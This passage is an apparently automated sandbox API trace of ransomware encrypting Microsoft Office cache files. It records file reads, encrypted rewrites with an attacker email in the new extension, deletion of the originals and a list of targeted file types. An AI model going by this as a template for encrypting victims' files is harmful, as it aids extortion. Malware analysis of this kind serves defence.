lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.684] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.685] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.689] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.689] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f93098 | out: hHeap=0x4f0000) returned 1 [0206.699] CloseHandle (hObject=0x1a0) returned 1 [0209.006] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0209.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.007] lstrlenW (lpString=".doc") returned 4 [0209.007] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString=".docx") returned 5 [0209.007] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0209.007] lstrlenW (lpString=".pdf") returned 4 [0209.007] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString=".xls") returned 4 [0209.007] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString=".xlsx") returned 5 [0209.007] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0209.007] lstrlenW (lpString=".ppt") returned 4 [0209.007] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.007] lstrlenW (lpString=".zip") returned 4 [0209.007] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString=".rar") returned 4 [0209.007] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString=".bz2") returned 4 [0209.007] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0209.007] lstrlenW (lpString=".7z") returned 3 [0209.007] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0209.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.007] lstrlenW (lpString=".dbf") returned 4 [0209.007] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0209.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.007] lstrlenW (lpString=".1cd") returned 4 [0209.007] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0209.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.008] lstrlenW (lpString=".jpg") returned 4 [0209.008] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.008] lstrlenW (lpString=".doc") returned 4 [0209.008] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString=".docx") returned 5 [0209.008] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0209.008] lstrlenW (lpString=".pdf") returned 4 [0209.008] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString=".xls") returned 4 [0209.008] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString=".xlsx") returned 5 [0209.008] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0209.008] lstrlenW (lpString=".ppt") returned 4 [0209.008] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.008] lstrlenW (lpString=".zip") returned 4 [0209.008] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString=".rar") returned 4 [0209.008] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString=".bz2") returned 4 [0209.008] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0209.008] lstrlenW (lpString=".7z") returned 3 [0209.008] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0209.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.008] lstrlenW (lpString=".dbf") returned 4 [0209.008] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0209.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.009] lstrlenW (lpString=".1cd") returned 4 [0209.009] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0209.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0209.009] lstrlenW (lpString=".jpg") returned 4 [0209.009] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0209.009] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0209.009] lstrlenW (lpString="Proofing.msi") returned 12 [0209.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0209.009] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=868864) returned 1 [0209.009] CloseHandle (hObject=0x1a0) returned 1 [0209.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0209.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0209.010] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.010] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.010] GetLastError () returned 0x0 [0209.010] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0209.092] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0209.107] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.107] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0209.107] SetEndOfFile (hFile=0x1dc) returned 1 [0209.335] CloseHandle (hObject=0x1dc) returned 1 [0209.422] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.422] SetEndOfFile (hFile=0x1a0) returned 1 [0209.431] CloseHandle (hObject=0x1a0) returned 1 [0209.431] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0209.431] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0209.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.431] lstrlenW (lpString=".doc") returned 4 [0209.431] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.431] lstrlenW (lpString=".docx") returned 5 [0209.432] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0209.432] lstrlenW (lpString=".pdf") returned 4 [0209.432] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.432] lstrlenW (lpString=".xls") returned 4 [0209.432] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.432] lstrlenW (lpString=".xlsx") returned 5 [0209.432] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0209.432] lstrlenW (lpString=".ppt") returned 4 [0209.432] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.432] lstrlenW (lpString=".zip") returned 4 [0209.432] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.432] lstrlenW (lpString=".rar") returned 4 [0209.432] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.432] lstrlenW (lpString=".bz2") returned 4 [0209.432] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.432] lstrlenW (lpString=".7z") returned 3 [0209.432] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.432] lstrlenW (lpString=".dbf") returned 4 [0209.432] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.432] lstrlenW (lpString=".1cd") returned 4 [0209.432] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.432] lstrlenW (lpString=".jpg") returned 4 [0209.432] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.433] lstrlenW (lpString=".doc") returned 4 [0209.433] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.433] lstrlenW (lpString=".docx") returned 5 [0209.433] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0209.433] lstrlenW (lpString=".pdf") returned 4 [0209.433] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.433] lstrlenW (lpString=".xls") returned 4 [0209.433] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.433] lstrlenW (lpString=".xlsx") returned 5 [0209.433] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0209.433] lstrlenW (lpString=".ppt") returned 4 [0209.433] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.433] lstrlenW (lpString=".zip") returned 4 [0209.433] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.433] lstrlenW (lpString=".rar") returned 4 [0209.433] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.433] lstrlenW (lpString=".bz2") returned 4 [0209.433] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.433] lstrlenW (lpString=".7z") returned 3 [0209.433] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.433] lstrlenW (lpString=".dbf") returned 4 [0209.433] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.433] lstrlenW (lpString=".1cd") returned 4 [0209.433] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0209.434] lstrlenW (lpString=".jpg") returned 4 [0209.434] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.434] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0209.434] lstrlenW (lpString="Office32MUI.msi") returned 15 [0209.434] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0209.434] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=873984) returned 1 [0209.434] CloseHandle (hObject=0x1a0) returned 1 [0209.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0209.435] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.435] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0209.435] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.435] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.435] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.436] GetLastError () returned 0x0 [0209.436] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0209.578] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0209.667] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.667] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0209.667] SetEndOfFile (hFile=0x1dc) returned 1 [0209.668] CloseHandle (hObject=0x1dc) returned 1 [0210.046] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.046] SetEndOfFile (hFile=0x1a0) returned 1 [0210.054] CloseHandle (hObject=0x1a0) returned 1 [0210.054] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0210.055] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0210.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.055] lstrlenW (lpString=".doc") returned 4 [0210.055] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0210.055] lstrlenW (lpString=".docx") returned 5 [0210.055] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0210.055] lstrlenW (lpString=".pdf") returned 4 [0210.055] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0210.055] lstrlenW (lpString=".xls") returned 4 [0210.055] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0210.056] lstrlenW (lpString=".xlsx") returned 5 [0210.056] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0210.056] lstrlenW (lpString=".ppt") returned 4 [0210.056] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0210.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.056] lstrlenW (lpString=".zip") returned 4 [0210.056] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0210.056] lstrlenW (lpString=".rar") returned 4 [0210.056] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0210.056] lstrlenW (lpString=".bz2") returned 4 [0210.056] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0210.056] lstrlenW (lpString=".7z") returned 3 [0210.056] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0210.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.056] lstrlenW (lpString=".dbf") returned 4 [0210.056] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0210.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.056] lstrlenW (lpString=".1cd") returned 4 [0210.056] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0210.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.057] lstrlenW (lpString=".jpg") returned 4 [0210.057] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0210.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.057] lstrlenW (lpString=".doc") returned 4 [0210.057] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0210.057] lstrlenW (lpString=".docx") returned 5 [0210.057] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0210.057] lstrlenW (lpString=".pdf") returned 4 [0210.057] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0210.057] lstrlenW (lpString=".xls") returned 4 [0210.057] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0210.057] lstrlenW (lpString=".xlsx") returned 5 [0210.057] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0210.057] lstrlenW (lpString=".ppt") returned 4 [0210.057] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0210.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.058] lstrlenW (lpString=".zip") returned 4 [0210.058] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0210.058] lstrlenW (lpString=".rar") returned 4 [0210.058] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0210.058] lstrlenW (lpString=".bz2") returned 4 [0210.058] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0210.058] lstrlenW (lpString=".7z") returned 3 [0210.058] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0210.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.058] lstrlenW (lpString=".dbf") returned 4 [0210.058] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0210.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.058] lstrlenW (lpString=".1cd") returned 4 [0210.058] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0210.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.058] lstrlenW (lpString=".jpg") returned 4 [0210.058] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0210.059] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0210.059] lstrlenW (lpString="InfLR.cab") returned 9 [0210.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0210.059] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=18874884) returned 1 [0210.059] CloseHandle (hObject=0x1a0) returned 1 [0210.060] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0210.060] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.060] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0210.061] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0210.061] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0210.061] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.061] 